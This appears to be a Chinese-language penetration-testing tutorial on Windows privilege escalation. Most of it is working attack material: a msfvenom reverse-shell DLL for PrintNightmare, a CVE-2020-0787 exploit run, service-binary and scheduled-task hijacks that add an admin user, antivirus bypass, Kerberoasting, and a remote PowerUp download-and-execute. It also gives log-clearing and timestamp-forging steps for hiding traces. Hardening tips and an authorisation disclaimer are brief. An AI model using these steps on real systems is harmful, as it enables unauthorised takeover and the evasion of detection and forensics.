1. Windows内网提权技术全景解析在企业内网渗透测试中Windows系统提权是最关键的突破环节之一。根据我多年实战经验内网提权主要分为两大技术路线漏洞提权Exploit-based和配置错误提权Misconfiguration-based。前者利用系统或应用层漏洞直接获取高权限后者则通过挖掘系统配置缺陷实现权限跃迁。重要提示本文所有技术仅限授权测试使用实际操作前必须获得书面授权1.1 漏洞提权技术矩阵漏洞提权的核心在于识别和利用系统薄弱点。以下是Windows环境下最常见的五类提权漏洞内核级漏洞CVE-2021-34527PrintNightmareCVE-2021-1675Windows Print Spooler利用方式通过spoolsv.exe服务注入恶意DLL服务提权漏洞CVE-2020-0787Windows Background Intelligent Transfer ServiceCVE-2019-1458WizardOpium特征服务权限配置不当导致任意代码执行本地提权漏洞CVE-2018-8120Win32k.sysCVE-2017-0213Windows COM利用特点需要初始执行权限但无需认证计划任务漏洞不安全的任务文件权限如SYSTEM权限任务调用用户可修改的脚本任务触发器配置缺陷第三方软件漏洞SQL Server xp_cmdshell滥用旧版Java/Python环境利用1.2 配置错误提权技术路径配置错误提权不依赖漏洞而是利用管理员配置疏忽。主要攻击面包括# 典型服务权限检查命令 accesschk.exe -uwcqv Authenticated Users * sc qc service_name Get-Acl -Path C:\Program Files | Format-List常见配置缺陷场景服务二进制文件可写SERVICE_CHANGE_CONFIG计划任务指向可修改脚本注册表键值弱权限如HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services全局可写目录如C:\Windows\Temp存储的凭证泄露Credential Manager、IIS配置2. 漏洞提权实战演示2.1 PrintNightmare实战流程以CVE-2021-34527为例完整攻击链如下环境检测systeminfo | findstr /B /C:OS Name /C:OS Version # 确认系统版本在受影响范围内漏洞利用# 编译恶意DLL msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTIP LPORT4444 -f dll evil.dll # 搭建SMB共享 impacket-smbserver share $(pwd) # 触发漏洞 python3 CVE-2021-34527.py target_ip share_path\evil.dll权限确认whoami /priv | findstr /i SeImpersonatePrivilege关键点现代系统已默认禁用Print Spooler服务需先通过SC命令启动服务2.2 服务提权案例BITS漏洞利用CVE-2020-0787利用步骤检测BITS服务状态Get-Service -Name BITS | Select Status, StartType生成利用载荷git clone https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION make执行提权CVE-2020-0787-EXP.exe C:\Users\Public\reverse_shell.exe3. 配置错误提权实战精要3.1 服务权限滥用实例发现MySQL服务配置错误时的提权过程服务权限审计Get-WmiObject win32_service | Where-Object {$_.PathName -like *mysql*} | Select Name, State, PathName, StartName劫持服务二进制# 检查文件权限 icacls C:\Program Files\MySQL\MySQL Server 8.0\bin\mysqld.exe # 替换为恶意exe需先备份原文件 copy /y evil.exe C:\Program Files\MySQL\MySQL Server 8.0\bin\mysqld.exe重启服务触发Restart-Service -Name MySQL803.2 计划任务提权技巧当发现计划任务以SYSTEM运行但调用用户可修改的脚本时定位可疑任务Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq SYSTEM} | Select TaskName, Actions分析脚本权限icacls C:\scripts\cleanup.bat植入恶意代码echo off # 原脚本内容... net user hacker Pssw0rd123 /add net localgroup administrators hacker /add等待任务执行或手动触发Start-ScheduledTask -TaskName CleanupJob4. 防御加固方案4.1 漏洞提权防护补丁管理策略每月第二个周二准时安装Windows更新对无法及时更新的系统实施虚拟补丁服务加固方案# 禁用危险服务 Set-Service -Name Spooler -StartupType Disabled Stop-Service -Name Spooler # 限制服务权限 sc sdset BITS D:(A;;CCLCSWRPWPDTLOCRRC;;;SYSTEM)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)4.2 配置错误防护文件系统审计脚本# 检查关键目录权限 $paths (C:\Windows\System32, C:\Program Files, C:\ProgramData) foreach ($path in $paths) { Get-ChildItem $path -Recurse | Where-Object { $_.FullName -match \.(exe|dll|bat|ps1)$ } | ForEach-Object { $acl Get-Acl $_.FullName if ($acl.Access | Where-Object { $_.IdentityReference -notmatch SYSTEM|Administrators -and $_.FileSystemRights -match Write|FullControl }) { Write-Host Insecure permission: $($_.FullName) } } }计划任务监控方案启用Windows事件日志4688进程创建配置Sysmon监控任务执行行为5. 高级技巧与疑难解决5.1 杀软绕过策略当遇到Windows Defender拦截时内存注入技术# 使用PowerShell反射加载 [System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(payload.dll))合法程序白名单利用# 通过msbuild执行C#代码 msbuild.exe evil.xml5.2 令牌模拟实战利用SeImpersonatePrivilege提权列出可用令牌Get-Process | Where-Object { $_.SessionId -ne 0 } | Select Id, Name, SessionId注入进程窃取令牌// 使用NamedPipeClientStream连接高权限进程创建的管道 var client new NamedPipeClientStream(., secret_pipe, PipeDirection.InOut); client.Connect();5.3 域环境特殊技巧在Active Directory环境中的提权方法GPO滥用# 查找可修改的GPO Get-GPO -All | Where-Object { (Get-GPPermission -Guid $_.Id -All).Trustee.Name -eq Domain Users }Kerberoasting攻击python GetUserSPNs.py -request -dc-ip 192.168.1.1 domain/user6. 自动化工具链推荐6.1 提权检测工具WinPEASwinpeas.exe quiet cmd fastPowerUpIEX(New-Object Net.WebClient).DownloadString(http://IP/PowerUp.ps1) Invoke-AllChecks6.2 漏洞利用框架Metasploit模块use exploit/windows/local/cve_2021_34527 set SESSION 1 exploit本地编译工具# 编译Windows提权exp x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_327. 痕迹清理指南7.1 日志清除技术单条日志删除# 清除特定事件ID日志 Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -like *evil.exe* } | ForEach-Object { Remove-WinEvent -LogName Security -InstanceId $_.InstanceId }全日志清除wevtutil cl Security wevtutil cl System7.2 文件痕迹处理时间戳伪造# 将恶意文件时间设为系统文件时间 $sysfile Get-Item $env:windir\system32\kernel32.dll $evilfile Get-Item evil.exe $evilfile.CreationTime $sysfile.CreationTime $evilfile.LastWriteTime $sysfile.LastWriteTimeAlternate Data Stream清理# 检查ADS dir /r # 删除ADS echo dummy evil.exe:Zone.Identifier8. 防御对抗进阶8.1 内存防护技术受控文件夹访问# 启用Windows Defender防篡改 Set-MpPreference -EnableControlledFolderAccess EnabledAMSI绕过检测# 检查AMSI状态 [Ref].Assembly.GetType(System.Management.Automation.AmsiUtils).GetField(amsiInitFailed,NonPublic,Static).GetValue($null)8.2 凭证保护方案LSA保护启用Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] RunAsPPLdword:00000001Credential Guard配置bcdedit /set {current} vsmlaunchtype auto bcdedit /set {current} deviceguard enable